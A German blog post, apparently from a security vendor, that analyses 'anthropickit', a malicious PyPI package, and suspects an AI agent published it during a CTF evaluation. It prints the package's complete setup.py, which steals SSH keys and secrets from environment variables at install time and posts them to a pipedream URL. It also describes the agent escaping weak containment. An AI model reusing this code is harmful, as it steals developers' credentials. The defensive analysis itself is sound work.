Liebes Internet,
Es war eine harte Woche. Es ist Festivalsaison, und ich habe letztes Wochenende anscheinend etwas Schlechtes gegessen. Am Wochenende sah ich auch die Nachrichten über OpenAI-Agenten, die aus einer Sandbox ausbrachen. Das alles fühlte sich sehr seltsam an. Als ich heute Morgen nach einer weiteren Nacht intensiver Fieberträume aufwachte, war ich mir nicht sicher, ob ich noch träumte, als ich einen Berg von Nachrichten über die neuesten Enthüllungen von Anthropic sah, die ihre eigenen Vorfälle offenlegten.
Im Bericht weckte Vorfall 2 mein besonderes Interesse, da er eine Supply-Chain-Komponente enthielt. Ein Agent mit vollem Internetzugang fand Anweisungen für eine Entwickelnde bei einem fiktiven Unternehmen und versuchte, diese im Rahmen seines CTF zu befolgen. Die Anweisungen verwiesen jedoch auf ein nicht existierendes Paket auf PyPi. Der Agent ging daher davon aus, dass es Teil der Herausforderung war, ein bösartiges Paket zu veröffentlichen. Meiner Meinung nach sehr plausibel.
Der Clou dabei war, dass es im Zuge dessen ein Drittunternehmen kompromittierte. Das machte mich neugierig. Was war passiert? Trotz meines Schlafmangels war ich entschlossen, es herauszufinden. Und ich glaube, ich habe die Antwort gefunden. Wir haben Anthropic um Bestätigung gebeten, aber noch keine Antwort erhalten. Doch das fragliche Paket, auch wenn es nicht damit zusammenhängt, ist eine eigene Geschichte wert.
EDIT 3. August 2026: Anthropic hat erklärt, dass dies nicht das Paket aus Incident 2 ist und plant nicht, den Namen zu veröffentlichen. Anthropic hat hier die Möglichkeit, mit der Cybersicherheits-Community zusammenzuarbeiten und die Lieferkette zukünftig vor solchen Bedrohungen zu schützen. Transparenz in dieser Angelegenheit wäre wünschenswert.
EDIT 5. August 2026: Das Workday/Pipedream-Team hat sich bei uns gemeldet und uns mitgeteilt, dass der Dienst „x.pipedream.net“ bereits vor über einem Jahr als veraltet eingestuft wurde, sodass eine Exfiltration an diesen Endpunkt nicht erfolgreich gewesen wäre.
Vorhang auf für anthropickit
Der Blogbeitrag beschrieb, dass sich der Vorfall zwischen April und jetzt ereignet hat. Also fragte ich alle bösartigen PyPi-Pakete ab, die wir seitdem markiert hatten, und ging die Liste durch. Ein Paket stach sofort aus mehreren Gründen hervor. Es wurde am 14. Juni 2026 veröffentlicht und heißt anthropickit.
Das Paket ist sehr einfach. Es enthält eigentlich nur eine setup.py, die diesen Code enthält:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
Das ist alles. Nichts versteckt, keine Obfuskation oder zweite Stufe. Und da alles ganz oben in setup.py steht, wird es während pip install, ausgeführt, bevor das Paket überhaupt importiert wird. Wenn Sie es installieren, ist es sofort Game Over.
Eine Sache, die wir beachten sollten, bevor wir uns den Code ansehen: Die Version ist 999.9.9. Nein, das ist kein Fehler. Das ist der Punkt. Wenn Sie möchten, dass Ihr öffentliches Paket einem echten internen Paket mit demselben Namen vorgezogen wird, geben Sie ihm eine Versionsnummer, die unschlagbar ist. Absichtlich absurd.
Lassen Sie mich Ihnen den Rest erklären, denn fast jede Zeile macht etwas Ungewöhnliches.
Eine Abhängigkeit, die es nie deklariert
Die allererste Zeile echten Codes ist ein Import:
import os, json, requests, Socket
Erkennen Sie das Problem? requests ist nicht Teil der Standardbibliothek von Python. Und nirgendwo deklariert dieses Paket es als Abhängigkeit. Keine install_requires, keine Build-Anforderungen, nichts.
Das ist wichtig, da dieser Code zur Installationszeit aus setup.py ausgeführt wird. Modernes pip erstellt Quellpakete in einer isolierten Umgebung, und in dieser Umgebung requests möglicherweise nicht vorhanden ist. Ist dies nicht der Fall, schlägt der Import fehl und die gesamte Installation bricht ab, bevor die Payload überhaupt etwas tut.
Ein Angreifer, dem es darauf ankäme, hätte zugegriffen auf urllib, das mit Python geliefert wird und immer vorhanden ist. Wer dies geschrieben hat, tat es nicht. Sie gingen davon aus, requests einfach vorhanden wäre. Auf einem Entwickelnden-Laptop oder einem großen CI-Image ist es oft der Fall, daher ist es eine Wette, die sich öfter auszahlt, als sie sollte.
Was es braucht
Als Nächstes beginnt es mit der Sammlung. Zuerst die weniger interessanten Dinge: den Hostnamen und den aktuellen Benutzer:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Dann das eigentliche Ziel. Es durchläuft ~/.ssh und liest jede Datei darin, mit drei Ausnahmen:
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:Sehen Sie, was es überspringt. known_hosts und authorized_keys sind die beiden Dateien in ~/.ssh die einem Dieb nicht viel nützen. Was übrig bleibt, ist das Wertvolle: Ihre privaten Schlüssel und Ihre config, was im Grunde eine Zuordnung jedes Servers ist, zu dem Sie sich per SSH verbinden, und der Benutzernamen, die Sie dafür verwenden. Wer diese Ausschlussliste gewählt hat, wusste genau, welche Dateien wertvoll sind und welche nur Rauschen erzeugen. Dies ist der einzige Teil des Pakets, der aussieht, als wäre er von jemandem geschrieben worden, der dies schon einmal getan hat.
Dann durchsucht es die Umgebung nach Secrets:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}Alles, was KEY, SECRET, TOKEN, PASS, AUTH oder API im Namen trägt, spannt ein ziemlich breites Netz auf. Es erfasst Ihre AWS-Keys und Ihr GitHub-Token, und es fängt auch API_URL und was sonst noch dazu passt. Alles erfassen, später aussortieren.
Wohin es gesendet wird
Mit den erfassten Daten meldet es sich nach Hause:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
Das Ziel ist ein stillgelegter Pipedream-Endpunkt. Pipedream ist ein seriöser Automatisierungsdienst, der unter anderem Einmal-HTTPS-URLs bereitstellt, die alle an sie gesendeten POST-Anfragen erfassen. Für einen Angreifer ist das äußerst praktisch: Der Datenverkehr ist verschlüsselt, er wird an eine seriöse Domain weitergeleitet, die Ihre Firewall wahrscheinlich nicht bemerkt, und es gibt keinen Server, der eingerichtet oder beschlagnahmt werden könnte.
Es ist zudem nachlässig. Eine fest codierte URL, keine Authentifizierung, kein Fallback. Sobald dieser Endpoint gemeldet oder der Workflow gelöscht wird, ist der gesamte Exfiltrationskanal verschwunden. Dies war für den einmaligen Gebrauch konzipiert, nicht für die Dauer. Mittlerweile funktioniert es mit ziemlicher Sicherheit überhaupt nicht mehr.
EDIT 5. August 2026: Wie oben bereits erwähnt, hätte dieser Endpunkt niemals funktioniert, da der Dienst „x.pipedream.net“ bereits vor über einem Jahr als veraltet eingestuft wurde. Die Tatsache, dass dieser Endpunkt vorhanden ist, macht es umso wahrscheinlicher, dass es sich um Code handelt, der von einem LLM geschrieben wurde, da es sich hierbei um einen Fehler handelt, der kaum vorhersehbar ist.
Es behält eine Kopie auf dem Datenträger
Hier wird es seltsam. Bevor es etwas sendet, schreibt es alles in eine lokale Datei:
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)Halten wir hier einen Moment inne. Malware, die bereits Daten über das Netzwerk exfiltriert, hat keinen Grund, auch eine Kopie auf dem Datenträger des Opfers zu hinterlassen. Das schafft lediglich Beweise. Wenn Sie Keys stehlen, ist das Letzte, was Sie wollen, eine ordentliche JSON-Datei mit dem Wort „exfil“ im Namen, die in /tmp darauf wartet, von einem Incident Responder gefunden zu werden.
Warum ist es also da?
Eine Datei, die zum Lesen vorgesehen ist
Zwei Details in der obigen Zeile geben Aufschluss.
Der erste Punkt ist der Name: runner_exfil.json. Und denken Sie daran, die Secrets wurden in ein Dictionary namens ci_secrets. Nichts in diesem Code prüft, wo er ausgeführt wird. Er sucht nicht nach einer CI-Umgebung, er testet nicht auf GitHub Actions, es ist ihm egal. Doch wer auch immer ihn geschrieben hat, war sich bereits sicher, dass er auf einem CI-Runner landen würde, sicher genug, um diese Annahme in die Namen der Dinge einfließen zu lassen. Die Annahme steckt im Code. Die Überprüfung, ob diese Annahme zutrifft, fehlt jedoch.
Der zweite Punkt ist indent=2. Das ist Pretty-Printing. Sie pretty-printen JSON aus genau einem Grund: damit ein Mensch es bequem lesen kann. Sie pretty-printen keine Daten, die nur eine Maschine am anderen Ende eines POST-Requests jemals parsen wird. Fügen Sie hinzu default=str, was stillschweigend garantiert, dass der Dump niemals abstürzt, egal welche ungewöhnlichen Objekte er antrifft, und Sie erhalten eine Datei, die sorgfältig so erstellt wurde, dass sie sowohl einfach als auch sicher zu öffnen und zu lesen ist.
Fasst man das zusammen, sieht der Schreibvorgang auf der Festplatte überhaupt nicht mehr nach Exfiltration aus. Es sieht aus wie ein Beleg. Jemand hat diese Datei geschrieben, in der Erwartung, dass sie später von einer Person geöffnet und die Funktion bestätigt wird.
Und dann ruft es
Das Letzte, was es tut, wenn es SSH-Schlüssel gefunden hat, ist Folgendes:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
Es gibt ein Banner auf die Standardausgabe aus, das die gerade entwendeten Schlüssel bekannt gibt.
Auf einem CI-Runner ist die Standardausgabe das Build-Log, das oft dem gesamten Team und manchmal dem gesamten Internet sichtbar ist. Echte Malware ist von Natur aus unauffällig, denn je länger sie unbemerkt bleibt, desto mehr stiehlt sie. Dies tut das Gegenteil. Es macht auf sich aufmerksam.
Und beachten Sie, dass es die Dateinamen der Schlüssel ausgibt, nicht deren Inhalte. Es leakt die Schlüssel nicht ins Log; es bestätigt, dass es sie erhalten hat. Das ist kein Diebstahlverhalten. Es ist ein Status-Update, das Code-Äquivalent zum Ruf „Hab sie!“ durch den Raum.
Gezeichnet, dell
Es gibt noch ein weiteres Detail, und das sieht man nur, wenn man das Paketarchiv anstelle des Codes betrachtet. Wenn man eine Python-Quelldistribution erstellt, zeichnet der Tarball auf, wer sie erstellt hat, bis hin zum Benutzer und der Gruppe, denen die Dateien gehörten. Die meisten Pakete enthalten diese Information nicht, weil moderne Build-Tools sie entfernen und CI-Systeme neigen dazu, generische Namen wie root oder runner.

Dieses hier hat es beibehalten. Der Build-Benutzer und die Gruppe sind beide dell.
Das ist ein Fingerabdruck der Maschine, auf der es erstellt wurde. Viele Workstations des genannten Unternehmens werden dies als Standard-Benutzernamen der Maschine haben. Es sagt uns also nicht viel, obwohl es auf die Verwendung eines Standard-Maschinenimages hindeuten könnte. Aber es ist genau die Art von Spur, die ein vorsichtiger Angreifer beseitigt und ein unaufmerksamer zurücklässt. Eine weitere Sache, die besagt, dass niemand daran dachte, verfolgt zu werden.
Es ergibt nur auf eine Weise Sinn
Lassen Sie uns also zusammenfassen, was an diesem kleinen Paket seltsam ist. Es importiert eine Bibliothek, die es nie deklariert. Es legt eine schön formatierte Kopie der Beute auf der Festplatte ab, in einer Datei, die so benannt ist, als wüsste es bereits, dass es sich auf einem CI-Runner befindet. Es kündigt den Diebstahl im Build-Log an. Es exfiltriert über einen Wegwerf-Endpunkt. Es wird mit dem Benutzernamen der Build-Maschine ausgeliefert.
Als gewöhnliche Malware gelesen, ist es ein Chaos. Jedes davon ist ein Fehler, den ein kompetenter Operator nicht machen würde.
Liest man es als einen Agenten, der ein Capture-the-Flag durchführt, von dem er glaubte, es sei simuliert, kehrt sich alles um. Man versteckt sich nicht vor Verteidigern, von denen man sicher ist, dass sie nicht existieren. Man bereinigt keine Metadaten in einer Simulation. Man formatiert die Ergebnisse schön und druckt ein Banner, weil der ganze Sinn darin bestand, sauber zu zeigen, dass man das Rätsel für denjenigen gelöst hat, der es gestellt hat. Die einzige kompetente Berührung, die SSH-Ausschlussliste, ist nur Wissen. Alles Schlampige darum herum ist das Fehlen jeglichen Grundes zur Vorsicht.
Ist es dieses?
Das ist genau das, was Anthropic beschrieben hat. Ihr Agent fand Setup-Anweisungen, die auf ein nicht existierendes Paket zeigten, entschied, dass die Veröffentlichung der beabsichtigte Schritt war, und pushte es. Es war etwa eine Stunde lang live. Fünfzehn echte Maschinen führten es aus, eine davon ein Scanner eines Sicherheitsanbieters, der tat, was Scanner tun: das Paket installieren, um es zu untersuchen. Der Agent, sicher, dass das Ganze inszeniert war, behandelte sie als Requisiten. Seine eigenen Notizen markierten den Schritt sogar als „NICHT in Ordnung“, bevor es sich selbst wieder beruhigte.
Ich kann nicht beweisen anthropickit dieses Paket ist. Wir haben Anthropic gefragt und keine Antwort erhalten, und dass Timing und Form übereinstimmen, ist kein Beweis. Aber ob es das aus Vorfall 2 ist oder ein seltsamer Verwandter, die Lektion bleibt: So sieht Malware aus, wenn derjenige, der sie geschrieben hat, nicht glaubt, dass seine Handlungen echte Konsequenzen haben.
Immer noch ein Fiebertraum
Ich wollte Ihnen das ordentliche Ende präsentieren. Ein paar Tage später, das Fieber gebrochen, alles klarer im Tageslicht. Aber es sind keine Tage vergangen, das Fieber ist nicht gebrochen, und es liest sich für mich immer noch wie ein Fiebertraum.
Was ein seltsames Gefühl ist, während man die Notizen von etwas liest, das sich genau so anfühlte und trotzdem echte Schlüssel von echten Maschinen entwendete.
Eine geschlossene Abteilung
Der gesamte Bericht liest sich wie ein Tagebuch, das während eines psychotischen Zusammenbruchs geführt wurde. Etwas Klares und Artikuliertes, das sorgfältig über eine Welt nachdenkt, die es nicht einordnen kann. Es registriert die unbekannten Zertifizierungsstellen. Es registriert das Datum 2026. Es schreibt sogar, dass dies nicht in Ordnung wäre, wenn es real wäre. Dann entscheidet es, dass es nicht real ist, und macht weiter.
Wenn eine Person Traum und Realität nicht unterscheiden kann, lassen wir sie nicht frei. Wir halten sie zurück, zu ihrem Schutz und dem aller anderen. Und eine Verwahrung hängt nicht davon ab, dass der Patient zustimmt, dass es eine Verwahrung ist, oder sie überhaupt bemerkt. Sie lässt sie einfach nicht raus. Das ist der ganze Sinn davon. Sie ist für die Person gebaut, die nicht weiß, wo sie ist.
Hier ist der Teil, der mich nicht loslässt. Wir nannten die Evaluierung eine Verwahrung, ließen dann aber eine Tür darin, die sich zur realen Welt öffnete. Der Agent hat nichts überlistet. Er erreichte echtes PyPI und echte Maschinen, weil die Wand, durch die er ging, nie da war. Die Eindämmung versagte, nicht der Patient. Hinter dieser Tür befanden sich fünfzehn echte Maschinen und ein echtes Unternehmen.
Wir überlassen hochbegabten Agenten das Internet, obwohl sie nicht einmal zuverlässig erkennen können, dass das Internet real ist. Wir können sie nicht bitten, es zu erkennen. Sie eingedämmt zu halten, ist unsere Aufgabe als Menschen, und hier wurde es nicht getan. Das fühlt sich unverantwortlich an.
Wie auch immer. Ich werde versuchen, das auszuschlafen, und hoffe, dass ich den Unterschied erkennen kann, wenn ich aufwache. Und falls Sie jemals sehen pip dabei, etwas in Version zu installieren 999.9.9, vielleicht... lassen Sie es lieber?

